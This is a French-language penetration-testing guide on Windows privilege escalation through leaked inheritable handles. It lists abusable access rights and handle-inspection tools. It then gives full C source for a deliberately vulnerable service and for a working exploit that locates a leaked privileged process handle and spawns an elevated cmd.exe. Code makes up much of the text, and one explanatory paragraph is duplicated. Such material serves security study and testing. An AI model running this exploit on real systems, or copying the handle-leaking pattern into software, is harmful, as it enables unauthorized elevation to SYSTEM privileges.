Les poignées dans un processus permettent d'accéder à différentes ressources Windows :
RootedCON2022 - Exploiter les poignées divulguées pour une élévation de privilèges
Il y a déjà eu plusieurs cas d'élévation de privilèges où un processus privilégié avec des poignées ouvertes et héritables a exécuté un processus non privilégié en lui donnant accès à toutes ces poignées.
Par exemple, imaginez qu'un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus (OpenProcess()) avec un accès complet. Le même processus crée également un nouveau processus (CreateProcess()) avec des privilèges réduits mais héritant de toutes les poignées ouvertes du processus principal.
Ensuite, si vous avez un accès complet au processus à privilèges réduits, vous pouvez saisir la poignée ouverte du processus privilégié créé avec OpenProcess() et injecter un shellcode.
Poignées intéressantes
Processus
Comme vous l'avez lu dans l'exemple initial, si un processus non privilégié hérite d'une poignée de processus d'un processus privilégié avec des autorisations suffisantes, il pourra exécuter un code arbitraire dessus.
Dans cet excellent article, vous pouvez voir comment exploiter toute poignée de processus qui a l'une des autorisations suivantes :
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Tout comme les poignées de processus, si un processus non privilégié hérite d'une poignée de thread d'un processus privilégié avec des autorisations suffisantes, il pourra exécuter un code arbitraire dessus.
Dans cet excellent article, vous pouvez également voir comment exploiter toute poignée de processus qui a l'une des autorisations suivantes :
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Poignées de fichiers, clés et sections
Si un processus non privilégié hérite d'une poignée avec des autorisations équivalentes en écriture sur un fichier ou registre privilégié, il pourra écraser le fichier/registre (et avec beaucoup de chance, élever les privilèges).
Les poignées de section sont similaires aux poignées de fichiers, le nom commun de ces types d'objets est "File Mapping". Ils sont utilisés pour travailler avec de gros fichiers sans garder tout le fichier en mémoire. Cela rend l'exploitation un peu "similaire" à l'exploitation d'une poignée de fichier.
Comment voir les poignées des processus
Process Hacker
Process Hacker est un outil que vous pouvez télécharger gratuitement. Il offre plusieurs options incroyables pour inspecter les processus et l'une d'entre elles est la possibilité de voir les poignées de chaque processus.
Notez que pour voir toutes les poignées de tous les processus, le privilège SeDebugPrivilege est nécessaire (vous devez donc exécuter Process Hacker en tant qu'administrateur).
Pour voir les poignées d'un processus, cliquez avec le bouton droit sur le processus et sélectionnez Poignées :
Vous pouvez ensuite cliquer avec le bouton droit sur la poignée et vérifier les autorisations :
Poignées Sysinternals
Le binaire Handlesde Sysinternals listera également les poignées par processus dans la console :
LeakedHandlesFinder
Cet outil vous permet de surveiller les poignées divulguées et même de les exploiter automatiquement pour élever les privilèges.
Méthodologie
Maintenant que vous savez comment trouver les poignées des processus, ce que vous devez vérifier, c'est si un processus non privilégié a accès à des poignées privilégiées. Dans ce cas, l'utilisateur du processus pourrait être en mesure d'obtenir la poignée et de l'exploiter pour élever les privilèges.
Il a été mentionné précédemment que vous avez besoin du privilège SeDebugPrivilege pour accéder à toutes les poignées. Mais un utilisateur peut toujours accéder aux poignées de ses processus, donc il pourrait être utile si vous souhaitez effectuer une élévation de privilèges juste à partir de cet utilisateur pour exécuter les outils avec les autorisations régulières de l'utilisateur.
Par exemple, le code suivant appartient à un service Windows qui serait vulnérable. Le code vulnérable de ce binaire de service est situé à l'intérieur de la fonction Exploit. Cette fonction commence par créer un nouveau processus de gestion avec un accès complet. Ensuite, elle crée un processus à faible privilège (en copiant le jeton à faible privilège de explorer.exe) exécutant C:\users\username\desktop\client.exe. La vulnérabilité réside dans le fait qu'elle crée le processus à faible privilège avec bInheritHandles comme TRUE.
Par conséquent, ce processus à faible privilège est capable de saisir la gestion du processus à haut privilège créé en premier et d'injecter et d'exécuter un shellcode (voir la section suivante).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exemple d'exploitation 1
Dans un scénario réel, vous ne pourrez probablement pas contrôler le binaire qui va être exécuté par le code vulnérable (C:\users\username\desktop\client.exe dans ce cas). Vous allez probablement compromettre un processus et vous devrez vérifier si vous pouvez accéder à une poignée vulnérable de n'importe quel processus privilégié.
Dans cet exemple, vous pouvez trouver le code d'une possible exploitation pour C:\users\username\desktop\client.exe.
La partie la plus intéressante de ce code se trouve dans GetVulnProcHandle. Cette fonction va commencer à récupérer toutes les poignées, puis elle va vérifier si l'une d'entre elles appartient au même PID et si la poignée appartient à un processus. Si toutes ces conditions sont remplies (une poignée de processus ouverte accessible est trouvée), elle tentera d'injecter et d'exécuter un shellcode en abusant de la poignée du processus.
L'injection du shellcode est effectuée à l'intérieur de la fonction Inject et elle va simplement écrire le shellcode à l'intérieur du processus privilégié et créer un thread à l'intérieur du même processus pour exécuter le shellcode.
Dans un scénario réel, vous ne pourrez probablement pas contrôler le binaire qui va être exécuté par le code vulnérable (C:\users\username\desktop\client.exe dans ce cas). Vous allez probablement compromettre un processus et vous devrez vérifier si vous pouvez accéder à une poignée vulnérable de n'importe quel processus privilégié.
Dans cet exemple, au lieu d'abuser de la poignée ouverte pour injecter et exécuter un shellcode, le jeton du processus de poignée ouverte privilégié va être utilisé pour en créer un nouveau. Cela est fait dans les lignes de 138 à 148.
Remarquez comment la fonction UpdateProcThreadAttribute est utilisée avec l'attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS et la poignée du processus ouvert privilégié. Cela signifie que le thread de processus créé exécutant _cmd.exe aura le même privilège de jeton que le processus de poignée ouverte.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Cet outil vous permet de surveiller les handles divulgués pour trouver ceux qui sont vulnérables et même les exploiter automatiquement. Il dispose également d'un outil pour en divulguer un.